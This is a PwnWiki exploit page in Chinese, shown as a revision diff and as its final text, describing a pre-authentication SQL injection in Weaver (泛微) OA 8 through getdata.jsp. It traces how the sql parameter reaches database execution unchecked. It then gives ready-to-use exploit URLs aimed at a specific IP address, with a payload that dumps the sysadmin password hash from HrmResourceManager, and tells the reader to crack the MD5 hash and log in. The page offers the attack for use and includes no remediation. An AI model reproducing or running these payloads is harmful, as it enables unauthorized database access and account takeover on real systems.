Difference between revisions of "泛微OA8 前台SQL注入漏洞"

From PwnWiki
(Created page with "<languages /> <translate> ==注入點== </translate> <pre> http://106.15.190.147/js/hrm/getdata.jsp?cmd=getSelectAllId&sql=*** </pre> <translate> 在<code>getdata.jsp</cod...")
 
(Marked this version for translation)
 
Line 2: Line 2:
  
 
<translate>
 
<translate>
==注入點==
+
==注入點== <!--T:1-->
 
</translate>
 
</translate>
 
<pre>
 
<pre>
Line 10: Line 10:
  
 
<translate>
 
<translate>
 +
<!--T:2-->
 
在<code>getdata.jsp</code>中,直接將<code>request</code>對象交給
 
在<code>getdata.jsp</code>中,直接將<code>request</code>對象交給
  
 +
<!--T:3-->
 
<code>weaver.hrm.common.AjaxManager.getData(HttpServletRequest,ServletContext) :</code>
 
<code>weaver.hrm.common.AjaxManager.getData(HttpServletRequest,ServletContext) :</code>
  
 +
<!--T:4-->
 
方法處理
 
方法處理
 
</translate>
 
</translate>
Line 20: Line 23:
  
 
<translate>
 
<translate>
 +
<!--T:5-->
 
在getData方法中,判斷請求裡cmd參數是否為空,如果不為空,調用proc方法
 
在getData方法中,判斷請求裡cmd參數是否為空,如果不為空,調用proc方法
  
 +
<!--T:6-->
 
Proc方法4個參數,(“空字符串”,”cmd參數值”,request對象,serverContext對象)
 
Proc方法4個參數,(“空字符串”,”cmd參數值”,request對象,serverContext對象)
  
 +
<!--T:7-->
 
在proc方法中,對cmd參數值進行判斷,當cmd值等於getSelectAllId時,再從請求中獲取sql和type兩個參數值,並將參數傳遞進getSelectAllIds(sql,type)方法中
 
在proc方法中,對cmd參數值進行判斷,當cmd值等於getSelectAllId時,再從請求中獲取sql和type兩個參數值,並將參數傳遞進getSelectAllIds(sql,type)方法中
  
 +
<!--T:8-->
 
在<code>getSelectAllIds(sql,type)</code>方法中,直接將sql參數的值,傳遞進數據庫執行,並判斷type的值是否等於5,如果等於5,獲取查詢結果的requestId字段,否則獲取查詢結果的id字段
 
在<code>getSelectAllIds(sql,type)</code>方法中,直接將sql參數的值,傳遞進數據庫執行,並判斷type的值是否等於5,如果等於5,獲取查詢結果的requestId字段,否則獲取查詢結果的id字段
  
 +
<!--T:9-->
 
到此,參數從URL,一直到數據庫被執行
 
到此,參數從URL,一直到數據庫被執行
  
 +
<!--T:10-->
 
根據以上代碼流程,只要構造請求參數
 
根據以上代碼流程,只要構造請求參數
  
 +
<!--T:11-->
 
<code>?cmd= getSelectAllId&sql=selectpassword as id from userinfo;</code>
 
<code>?cmd= getSelectAllId&sql=selectpassword as id from userinfo;</code>
  
 +
<!--T:12-->
 
即可完成對數據庫操控
 
即可完成對數據庫操控
  
 +
<!--T:13-->
 
在瀏覽器中,構造測試URL:
 
在瀏覽器中,構造測試URL:
  
 +
<!--T:14-->
 
</code>http://106.15.190.147/js/hrm/getdata.jsp?cmd=getSelectAllId&sql=select%201234%20as%20id</code>
 
</code>http://106.15.190.147/js/hrm/getdata.jsp?cmd=getSelectAllId&sql=select%201234%20as%20id</code>
  
 +
<!--T:15-->
 
頁面顯示1234
 
頁面顯示1234
 
</translate>
 
</translate>
Line 53: Line 67:
  
 
<translate>
 
<translate>
 +
<!--T:16-->
 
查詢<code>HrmResourceManager</code>表中的password字段,頁面中返回了數據庫第一條記錄的值(sysadmin用戶的password)
 
查詢<code>HrmResourceManager</code>表中的password字段,頁面中返回了數據庫第一條記錄的值(sysadmin用戶的password)
 
</translate>
 
</translate>
Line 59: Line 74:
  
 
<translate>
 
<translate>
 +
<!--T:17-->
 
解密MD5登入系統。
 
解密MD5登入系統。
 
</translate>
 
</translate>

Latest revision as of 12:46, 8 April 2021

Other languages:
Chinese • ‎中文(繁體)‎

注入點

http://106.15.190.147/js/hrm/getdata.jsp?cmd=getSelectAllId&sql=***


getdata.jsp中,直接將request對象交給

weaver.hrm.common.AjaxManager.getData(HttpServletRequest,ServletContext) :

方法處理


在getData方法中,判斷請求裡cmd參數是否為空,如果不為空,調用proc方法

Proc方法4個參數,(“空字符串”,”cmd參數值”,request對象,serverContext對象)

在proc方法中,對cmd參數值進行判斷,當cmd值等於getSelectAllId時,再從請求中獲取sql和type兩個參數值,並將參數傳遞進getSelectAllIds(sql,type)方法中

getSelectAllIds(sql,type)方法中,直接將sql參數的值,傳遞進數據庫執行,並判斷type的值是否等於5,如果等於5,獲取查詢結果的requestId字段,否則獲取查詢結果的id字段

到此,參數從URL,一直到數據庫被執行

根據以上代碼流程,只要構造請求參數

?cmd= getSelectAllId&sql=selectpassword as id from userinfo;

即可完成對數據庫操控

在瀏覽器中,構造測試URL:

http://106.15.190.147/js/hrm/getdata.jsp?cmd=getSelectAllId&sql=select%201234%20as%20id

頁面顯示1234

Payload

Select password as id from HrmResourceManager

 

http://106.15.190.147/js/hrm/getdata.jsp?cmd=getSelectAllId&sql=select%20password%20as%20id%20from%20HrmResourceManager

查詢HrmResourceManager表中的password字段,頁面中返回了數據庫第一條記錄的值(sysadmin用戶的password)


解密MD5登入系統。